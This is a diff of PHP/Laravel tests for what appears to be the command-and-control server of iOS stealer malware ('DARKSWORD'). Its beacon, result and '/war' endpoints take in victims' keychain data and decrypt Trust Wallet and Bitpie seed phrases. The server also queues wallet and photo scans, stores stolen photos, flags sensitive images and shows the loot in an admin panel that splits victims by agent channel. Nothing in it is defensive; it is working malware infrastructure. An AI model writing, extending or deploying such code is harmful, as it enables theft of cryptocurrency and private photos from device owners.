'salt' => str_repeat('ab', 32),
|
||||
]);
|
||||
|
||||
$this->postJson('/war', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'keychain' => [
|
||||
'wallets' => [
|
||||
'trustwallet' => [
|
||||
'count' => 1,
|
||||
'items' => [[
|
||||
'account' => 'trustwalletUTC--demo',
|
||||
'accessGroup' => 'group.com.sixdays.team',
|
||||
'dataHex' => bin2hex($password),
|
||||
]],
|
||||
],
|
||||
],
|
||||
],
|
||||
'sandbox' => [
|
||||
'trust_wallet' => [
|
||||
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
|
||||
],
|
||||
],
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($mnemonic);
|
||||
$this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic);
|
||||
$this->assertSame('Trust Wallet', $mnemonic->source);
|
||||
$rows = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->get();
|
||||
$this->assertGreaterThanOrEqual(1, $rows->count());
|
||||
$this->assertTrue($rows->contains(fn ($row) => (int) $row->decrypted === 1));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_bitpie_entropy_decrypts_mnemonic_and_addresses(): void
|
||||
{
|
||||
Http::fake();
|
||||
$entropy = '00000000000000000000000000000000';
|
||||
$trx = app(\App\Services\Chain\TronDriver::class)->deriveAddress(self::TEST_MNEMONIC, 0);
|
||||
|
||||
$this->postJson('/war', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'keychain' => [
|
||||
'wallets' => [
|
||||
'bitpie' => [
|
||||
'count' => 2,
|
||||
'items' => [
|
||||
[
|
||||
'account' => 'seedPhraseEntropy',
|
||||
'service' => 'com.bitpie.wallet',
|
||||
'dataHex' => bin2hex(strtoupper($entropy)),
|
||||
],
|
||||
[
|
||||
'account' => 'userAddressKey',
|
||||
'service' => 'com.bitpie.wallet',
|
||||
'dataHex' => bin2hex($trx),
|
||||
],
|
||||
],
|
||||
],
|
||||
],
|
||||
],
|
||||
'sandbox' => [
|
||||
'bitpie' => [
|
||||
'Library/Preferences/com.bitpie.wallet.plist' => base64_encode(
|
||||
'kUserAddressesConfigure[{"address":"'.$trx.'","coin_code":"trx-trx"}]'
|
||||
),
|
||||
],
|
||||
],
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Bitpie')->first();
|
||||
$this->assertNotNull($mnemonic);
|
||||
$this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic);
|
||||
$this->assertTrue(
|
||||
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Bitpie')->get()
|
||||
->contains(fn ($row) => (int) $row->decrypted === 1)
|
||||
);
|
||||
$addr = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('address', $trx)
|
||||
->where('source', 'Bitpie')
|
||||
->first();
|
||||
$this->assertNotNull($addr);
|
||||
$this->assertSame('TRON', $addr->chain_type);
|
||||
$this->assertSame($mnemonic->id, $addr->mnemonic_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function beacon_walks_default_queue_then_loops_scan_tasks(): void
|
||||
{
|
||||
$types = DsBeaconQueue::TYPES;
|
||||
$commandIds = [];
|
||||
foreach ($types as $type) {
|
||||
$resp = $this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson([
|
||||
'ok' => true,
|
||||
'type' => $type,
|
||||
'uuid' => self::DS_LHU,
|
||||
]);
|
||||
$commandId = $resp->json('command_id');
|
||||
$this->assertNotEmpty($commandId);
|
||||
$commandIds[] = $commandId;
|
||||
$this->postJson('/result', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'command_id' => $commandId,
|
||||
'filename' => $type.'_result.json',
|
||||
'category' => $type,
|
||||
'status' => 'success',
|
||||
])->assertOk();
|
||||
}
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(Device::FAMILY_DARKSWORD, $device->family);
|
||||
$this->assertSame(0, DeviceEvent::query()->count());
|
||||
$this->assertSame(count($types), DsBeaconTask::query()->where('device_id', $device->id)->count());
|
||||
$this->assertSame(
|
||||
count($types),
|
||||
DsBeaconTask::query()->where('device_id', $device->id)->where('status', DsBeaconTask::STATUS_DONE)->count()
|
||||
);
|
||||
|
||||
$first = DsBeaconTask::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('type', 'wallet_extract')
|
||||
->first();
|
||||
$this->assertNotNull($first);
|
||||
$this->assertSame(DsBeaconTask::STATUS_DONE, $first->status);
|
||||
$this->assertSame(1, $first->result_count);
|
||||
$this->assertSame('wallet_extract_result.json', $first->result_meta['filename'] ?? null);
|
||||
|
||||
$loop = $this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson([
|
||||
'ok' => true,
|
||||
'type' => 'wallet_extract',
|
||||
'uuid' => self::DS_LHU,
|
||||
]);
|
||||
$loopId = $loop->json('command_id');
|
||||
$this->assertNotEmpty($loopId);
|
||||
$this->assertNotSame($commandIds[0], $loopId);
|
||||
|
||||
$first->refresh();
|
||||
$this->assertSame(DsBeaconTask::STATUS_DISPATCHED, $first->status);
|
||||
$this->assertSame($loopId, $first->command_id);
|
||||
$this->assertSame(1, $first->result_count);
|
||||
$this->assertSame(
|
||||
3,
|
||||
DsBeaconTask::query()
|
||||
->where('device_id', $device->id)
|
||||
->whereIn('type', ['wallet_scan', 'photo_scan', 'apps'])
|
||||
->where('status', DsBeaconTask::STATUS_PENDING)
|
||||
->count()
|
||||
);
|
||||
$this->assertSame(
|
||||
0,
|
||||
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'basic_info')->count()
|
||||
);
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.devices.show', $device))
|
||||
->assertOk()
|
||||
->assertSee('C2 队列')
|
||||
->assertSee('wallet_extract')
|
||||
->assertSee('wallet_scan')
|
||||
->assertSee('photo_scan')
|
||||
->assertDontSee('basic_info');
|
||||
$this->assertNotContains('photos', $types);
|
||||
$this->assertNotContains('basic_info', $types);
|
||||
$this->assertContains('photo_scan', $types);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function beacon_redelivers_dispatched_task_until_result(): void
|
||||
{
|
||||
$first = $this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_extract']);
|
||||
$firstId = $first->json('command_id');
|
||||
$this->assertNotEmpty($firstId);
|
||||
|
||||
$retry = $this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_extract']);
|
||||
$retryId = $retry->json('command_id');
|
||||
$this->assertNotEmpty($retryId);
|
||||
$this->assertNotSame($firstId, $retryId);
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
$task = DsBeaconTask::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('type', 'wallet_extract')
|
||||
->first();
|
||||
$this->assertNotNull($task);
|
||||
$this->assertSame(DsBeaconTask::STATUS_DISPATCHED, $task->status);
|
||||
$this->assertSame($retryId, $task->command_id);
|
||||
$this->assertSame(2, (int) ($task->result_meta['dispatch_count'] ?? 0));
|
||||
|
||||
$this->postJson('/result', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'command_id' => $retryId,
|
||||
'filename' => 'wallet_extract_result.json',
|
||||
'category' => 'wallet_extract',
|
||||
'status' => 'success',
|
||||
])->assertOk();
|
||||
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function beacon_skips_legacy_photos_task(): void
|
||||
{
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'family' => Device::FAMILY_DARKSWORD,
|
||||
]);
|
||||
DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'position' => 1,
|
||||
'type' => 'photos',
|
||||
'status' => DsBeaconTask::STATUS_PENDING,
|
||||
]);
|
||||
DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'position' => 2,
|
||||
'type' => 'photo_scan',
|
||||
'status' => DsBeaconTask::STATUS_PENDING,
|
||||
]);
|
||||
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'photo_scan']);
|
||||
|
||||
$this->assertSame(
|
||||
DsBeaconTask::STATUS_SKIPPED,
|
||||
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'photos')->value('status')
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function result_stores_files_and_skips_video(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'family' => Device::FAMILY_DARKSWORD,
|
||||
]);
|
||||
DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'position' => 1,
|
||||
'type' => 'photo_scan',
|
||||
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
||||
'command_id' => 'dsq-photo-1',
|
||||
]);
|
||||
|
||||
$png = base64_encode("\x89PNG\r\n\x1a\n".str_repeat('x', 32));
|
||||
$this->postJson('/result', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'command_id' => 'dsq-photo-1',
|
||||
'filename' => 'IMG_0003.PNG',
|
||||
'category' => 'photos',
|
||||
'data' => $png,
|
||||
])->assertOk();
|
||||
|
||||
$this->postJson('/result', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'command_id' => 'dsq-photo-1',
|
||||
'filename' => 'IMG_0005.MP4',
|
||||
'category' => 'photos',
|
||||
'data' => base64_encode('ftypisom'),
|
||||
])->assertOk();
|
||||
|
||||
$this->postJson('/result', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'command_id' => 'dsq-photo-1',
|
||||
'filename' => 'photo_scan.json',
|
||||
'data' => base64_encode('{"status":"success","uploaded":1}'),
|
||||
])->assertOk();
|
||||
|
||||
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
|
||||
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/IMG_0003.PNG');
|
||||
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/photo_scan.json');
|
||||
Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/IMG_0005.MP4');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function result_skips_duplicate_payloads_already_ingested(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'family' => Device::FAMILY_DARKSWORD,
|
||||
]);
|
||||
DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'position' => 1,
|
||||
'type' => 'photo_scan',
|
||||
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
||||
'command_id' => 'dsq-photo-dup-1',
|
||||
]);
|
||||
DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'position' => 2,
|
||||
'type' => 'wallet_extract',
|
||||
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
||||
'command_id' => 'dsq-wallet-dup-1',
|
||||
]);
|
||||
|
||||
$png = base64_encode("\x89PNG\r\n\x1a\n".str_repeat('x', 32));
|
||||
$this->postJson('/result', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'command_id' => 'dsq-photo-dup-1',
|
||||
'filename' => 'IMG_0003.PNG',
|
||||
'category' => 'photos',
|
||||
'data' => $png,
|
||||
])->assertOk();
|
||||
$this->postJson('/result', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'command_id' => 'dsq-wallet-dup-1',
|
||||
'filename' => 'wallet_extract_result.json',
|
||||
'category' => 'wallet_extract',
|
||||
'data' => base64_encode('{"status":"success","wallets":1}'),
|
||||
])->assertOk();
|
||||
|
||||
DsBeaconTask::query()->where('command_id', 'dsq-photo-dup-1')->update([
|
||||
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
||||
'command_id' => 'dsq-photo-dup-2',
|
||||
]);
|
||||
DsBeaconTask::query()->where('type', 'wallet_extract')->update([
|
||||
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
||||
'command_id' => 'dsq-wallet-dup-2',
|
||||
]);
|
||||
|
||||
$this->postJson('/result', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'command_id' => 'dsq-photo-dup-2',
|
||||
'filename' => 'IMG_0003.PNG',
|
||||
'category' => 'photos',
|
||||
'data' => $png,
|
||||
])->assertOk();
|
||||
$this->postJson('/result', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'command_id' => 'dsq-wallet-dup-2',
|
||||
'filename' => 'wallet_extract_result.json',
|
||||
'category' => 'wallet_extract',
|
||||
'data' => base64_encode('{"status":"success","wallets":1}'),
|
||||
])->assertOk();
|
||||
|
||||
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
|
||||
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-dup-1/IMG_0003.PNG');
|
||||
Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-photo-dup-2/IMG_0003.PNG');
|
||||
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-wallet-dup-1/wallet_extract_result.json');
|
||||
Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-wallet-dup-2/wallet_extract_result.json');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function result_assembles_chunks_before_store(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'family' => Device::FAMILY_DARKSWORD,
|
||||
]);
|
||||
$task = DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'position' => 1,
|
||||
'type' => 'photo_scan',
|
||||
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
||||
'command_id' => 'dsq-chunk-1',
|
||||
]);
|
||||
|
||||
$this->postJson('/result', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'command_id' => $task->command_id,
|
||||
'filename' => 'IMG_0002.PNG',
|
||||
'category' => 'photos',
|
||||
'chunk_index' => 0,
|
||||
'total_chunks' => 2,
|
||||
'data' => base64_encode("\x89PNG"),
|
||||
])->assertOk();
|
||||
$this->assertSame(0, Photo::query()->count());
|
||||
|
||||
$this->postJson('/result', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'command_id' => $task->command_id,
|
||||
'filename' => 'IMG_0002.PNG',
|
||||
'category' => 'photos',
|
||||
'chunk_index' => 1,
|
||||
'total_chunks' => 2,
|
||||
'data' => base64_encode("\r\n\x1a\n"),
|
||||
])->assertOk();
|
||||
|
||||
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
|
||||
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-chunk-1/IMG_0002.PNG');
|
||||
$this->assertSame(
|
||||
"\x89PNG\r\n\x1a\n",
|
||||
Storage::disk('local')->get('c2/ds-results/'.self::DS_LHU.'/dsq-chunk-1/IMG_0002.PNG')
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function event_heartbeats_without_device_events(): void
|
||||
{
|
||||
$this->postJson('/event', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'et' => 'injection_success',
|
||||
])->assertOk()->assertJson(['ok' => true]);
|
||||
|
||||
$this->assertSame(0, DeviceEvent::query()->count());
|
||||
$this->assertNotNull(Device::query()->where('device_id', self::DS_LHU)->first());
|
||||
}
|
||||
}
|
||||
@@ -10,6 +10,7 @@ use App\Models\User;
|
||||
use App\Services\IngestService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
@@ -72,16 +73,16 @@ class DeviceAlbumStorageTest extends TestCase
|
||||
Http::assertSent(function ($request) {
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, 'Sensitive Photo')
|
||||
return str_contains($text, '敏感照片')
|
||||
&& str_contains($text, 'dev-hit12')
|
||||
&& str_contains($text, 'x-hit</b>: 12');
|
||||
&& str_contains($text, '敏感分</b>: 12');
|
||||
});
|
||||
|
||||
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]);
|
||||
$this->assertSame(1, collect(Http::recorded())->filter(function ($pair) {
|
||||
$text = (string) ($pair[0]->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, 'Sensitive Photo');
|
||||
return str_contains($text, '敏感照片');
|
||||
})->count());
|
||||
|
||||
@unlink($tmp);
|
||||
@@ -155,4 +156,78 @@ class DeviceAlbumStorageTest extends TestCase
|
||||
->postJson(route('user.devices.photos.clear', $other))
|
||||
->assertForbidden();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function photo_endpoint_serves_png_as_is(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create(['device_id' => 'dev-png']);
|
||||
$tmp = sys_get_temp_dir().'/album_'.uniqid().'.png';
|
||||
$im = imagecreatetruecolor(4, 4);
|
||||
imagefilledrectangle($im, 0, 0, 3, 3, imagecolorallocate($im, 1, 2, 3));
|
||||
imagepng($im, $tmp);
|
||||
$png = (string) file_get_contents($tmp);
|
||||
@unlink($tmp);
|
||||
$path = 'c2/photos/dev-png/shot.png';
|
||||
Storage::disk('local')->put($path, $png);
|
||||
$photo = Photo::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'sha256' => hash('sha256', $png),
|
||||
'path' => $path,
|
||||
'size' => strlen($png),
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.devices.photo', [$device, $photo->id]))
|
||||
->assertOk()
|
||||
->assertHeader('Content-Type', 'image/png')
|
||||
->assertSee($png, false);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function photo_endpoint_serves_heic_as_jpeg(): void
|
||||
{
|
||||
if (! is_executable('/usr/bin/sips')) {
|
||||
$this->markTestSkipped('sips is required to generate and convert HEIC');
|
||||
}
|
||||
Storage::fake('local');
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create(['device_id' => 'dev-heic']);
|
||||
|
||||
$jpg = sys_get_temp_dir().'/album_'.uniqid().'.jpg';
|
||||
$heicTmp = sys_get_temp_dir().'/album_'.uniqid().'.heic';
|
||||
$im = imagecreatetruecolor(8, 8);
|
||||
imagefilledrectangle($im, 0, 0, 7, 7, imagecolorallocate($im, 20, 40, 60));
|
||||
imagejpeg($im, $jpg, 90);
|
||||
$made = Process::timeout(20)->run(['/usr/bin/sips', '-s', 'format', 'heic', '--out', $heicTmp, $jpg]);
|
||||
@unlink($jpg);
|
||||
if (! $made->successful() || ! is_file($heicTmp)) {
|
||||
$this->markTestSkipped('sips could not write a HEIC fixture');
|
||||
}
|
||||
$bytes = (string) file_get_contents($heicTmp);
|
||||
@unlink($heicTmp);
|
||||
|
||||
$path = 'c2/photos/dev-heic/IMG_0004.HEIC';
|
||||
Storage::disk('local')->put($path, $bytes);
|
||||
$photo = Photo::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'sha256' => hash('sha256', $bytes),
|
||||
'path' => $path,
|
||||
'size' => strlen($bytes),
|
||||
]);
|
||||
|
||||
$res = $this->actingAs($admin, 'admin')
|
||||
->get(route('admin.devices.photo', [$device, $photo->id]))
|
||||
->assertOk()
|
||||
->assertHeader('Content-Type', 'image/jpeg');
|
||||
$this->assertSame("\xFF\xD8", substr($res->getContent(), 0, 2));
|
||||
$this->assertSame($bytes, Storage::disk('local')->get($path));
|
||||
Storage::disk('local')->assertExists('c2/photo-previews/dev-heic/'.hash('sha256', $bytes).'.jpg');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.devices.photos.clear', $device))
|
||||
->assertOk();
|
||||
Storage::disk('local')->assertMissing('c2/photo-previews/dev-heic/'.hash('sha256', $bytes).'.jpg');
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,7 +7,10 @@ use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\DsBeaconTask;
|
||||
use App\Models\DsChainLog;
|
||||
use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
@@ -70,22 +73,79 @@ class DeviceDeleteTest extends TestCase
|
||||
'device_id' => $device->id,
|
||||
'raw_json' => ['k' => 1],
|
||||
]);
|
||||
DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'position' => 1,
|
||||
'type' => 'basic_info',
|
||||
'status' => DsBeaconTask::STATUS_PENDING,
|
||||
]);
|
||||
DsChainLog::query()->create([
|
||||
'client_uid' => 'dev-del-1',
|
||||
'stage' => 'pe',
|
||||
'progress' => 86,
|
||||
'label' => 'pe',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
DsChainLog::query()->create([
|
||||
'client_uid' => 'keep-other-uid',
|
||||
'stage' => 'boot',
|
||||
'progress' => 8,
|
||||
'label' => 'boot',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => '86C1AAD5',
|
||||
'client_uid' => 'dev-del-1',
|
||||
'chain' => PageVisit::CHAIN_DARKSWORD,
|
||||
'os' => 'iOS',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => '86C1AAD5',
|
||||
'client_uid' => 'keep-other-uid',
|
||||
'chain' => PageVisit::CHAIN_DARKSWORD,
|
||||
'os' => 'iOS',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
$dsLog = public_path('log/ds/20990101.log');
|
||||
@mkdir(dirname($dsLog), 0775, true);
|
||||
file_put_contents($dsLog,
|
||||
"2026-08-24 03:00:00 /beacon {\"uuid\":\"dev-del-1\",\"keep\":false}\r\n\r\n".
|
||||
"2026-08-24 03:00:01 /beacon {\"uuid\":\"keep-other-uid\",\"keep\":true}\r\n\r\n"
|
||||
);
|
||||
Storage::disk('local')->put('c2/ds-results/dev-del-1/cmd/a.json', '{}');
|
||||
Storage::disk('local')->put('c2/ds-chunks/dev-del-1/cmd/f/0', 'x');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->deleteJson(route('admin.devices.destroy', $device))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
try {
|
||||
$this->actingAs($admin, 'admin')
|
||||
->deleteJson(route('admin.devices.destroy', $device))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
|
||||
$this->assertNull(Device::query()->find($device->id));
|
||||
$this->assertSame(0, Photo::query()->count());
|
||||
$this->assertSame(0, DeviceApp::query()->count());
|
||||
$this->assertSame(0, DeviceEvent::query()->count());
|
||||
$this->assertSame(0, Note::query()->count());
|
||||
$this->assertSame(0, WalletAddress::query()->count());
|
||||
$this->assertSame(0, WalletMnemonic::query()->count());
|
||||
$this->assertSame(0, WalletKeystore::query()->count());
|
||||
Storage::disk('local')->assertMissing($photoPath);
|
||||
Storage::disk('local')->assertMissing($checkPath);
|
||||
$this->assertNull(Device::query()->find($device->id));
|
||||
$this->assertSame(0, Photo::query()->count());
|
||||
$this->assertSame(0, DeviceApp::query()->count());
|
||||
$this->assertSame(0, DeviceEvent::query()->count());
|
||||
$this->assertSame(0, Note::query()->count());
|
||||
$this->assertSame(0, WalletAddress::query()->count());
|
||||
$this->assertSame(0, WalletMnemonic::query()->count());
|
||||
$this->assertSame(0, WalletKeystore::query()->count());
|
||||
$this->assertSame(0, DsBeaconTask::query()->count());
|
||||
$this->assertSame(0, DsChainLog::query()->where('client_uid', 'dev-del-1')->count());
|
||||
$this->assertSame(1, DsChainLog::query()->where('client_uid', 'keep-other-uid')->count());
|
||||
$this->assertSame(0, PageVisit::query()->where('client_uid', 'dev-del-1')->count());
|
||||
$this->assertSame(1, PageVisit::query()->where('client_uid', 'keep-other-uid')->count());
|
||||
Storage::disk('local')->assertMissing($photoPath);
|
||||
Storage::disk('local')->assertMissing($checkPath);
|
||||
Storage::disk('local')->assertMissing('c2/ds-results/dev-del-1/cmd/a.json');
|
||||
Storage::disk('local')->assertMissing('c2/ds-chunks/dev-del-1/cmd/f/0');
|
||||
$this->assertFileExists($dsLog);
|
||||
$left = (string) file_get_contents($dsLog);
|
||||
$this->assertStringNotContainsString('dev-del-1', $left);
|
||||
$this->assertStringContainsString('keep-other-uid', $left);
|
||||
} finally {
|
||||
@unlink($dsLog);
|
||||
}
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
@@ -86,7 +86,7 @@ class DeviceWalletFlagTest extends TestCase
|
||||
$walletAlerts = 0;
|
||||
Http::assertSent(function ($request) use (&$walletAlerts) {
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
if (str_contains($text, 'Installed Wallets')) {
|
||||
if (str_contains($text, '已安装钱包')) {
|
||||
$walletAlerts++;
|
||||
$this->assertStringContainsString('MetaMask', $text);
|
||||
$this->assertStringContainsString('imToken', $text);
|
||||
|
||||
@@ -0,0 +1,133 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletKeystore;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class KeystoreAdminTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
#[Test]
|
||||
public function admin_lists_keystores_and_items(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'DEVKEYSTORE01',
|
||||
'channel_id' => 'ch-ks-1',
|
||||
]);
|
||||
$row = WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'Trust Wallet',
|
||||
'decrypted' => 1,
|
||||
'raw_json' => [
|
||||
'kind' => 'keychain.wallets',
|
||||
'wallets' => [
|
||||
'trustwallet' => [
|
||||
'count' => 1,
|
||||
'items' => [[
|
||||
'account' => 'trust.account',
|
||||
'service' => null,
|
||||
'accessGroup' => '9873B38DWV.com.sixdays.trust',
|
||||
'protectionClass' => 9,
|
||||
'dataHex' => bin2hex('777350'),
|
||||
]],
|
||||
],
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.home'))
|
||||
->assertOk()
|
||||
->assertSee('钥匙串');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.keystores.index'))
|
||||
->assertOk()
|
||||
->assertSee('钥匙串');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.keystores.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.source', 'Trust Wallet')
|
||||
->assertJsonPath('data.0.decrypted', 1)
|
||||
->assertJsonPath('data.0.kind', '钥匙串')
|
||||
->assertJsonPath('data.0.item_count', 1)
|
||||
->assertJsonPath('data.0.summary', 'trust.account')
|
||||
->assertJsonPath('data.0.device_key', 'DEVKEYSTORE01');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.keystores.items', $row))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.items.0.account', 'trust.account')
|
||||
->assertJsonPath('data.items.0.data_preview', '777350');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.devices.show', [$device, 'tab' => 'keystores']))
|
||||
->assertOk()
|
||||
->assertSee('钥匙串');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.0.source', 'Trust Wallet')
|
||||
->assertJsonPath('data.0.item_count', 1)
|
||||
->assertJsonPath('data.0.summary', 'trust.account');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_only_sees_own_channel_keystores(): void
|
||||
{
|
||||
$agentA = User::query()->create(['username' => 'ks-a', 'password' => 'secret12', 'status' => 1]);
|
||||
$agentB = User::query()->create(['username' => 'ks-b', 'password' => 'secret12', 'status' => 1]);
|
||||
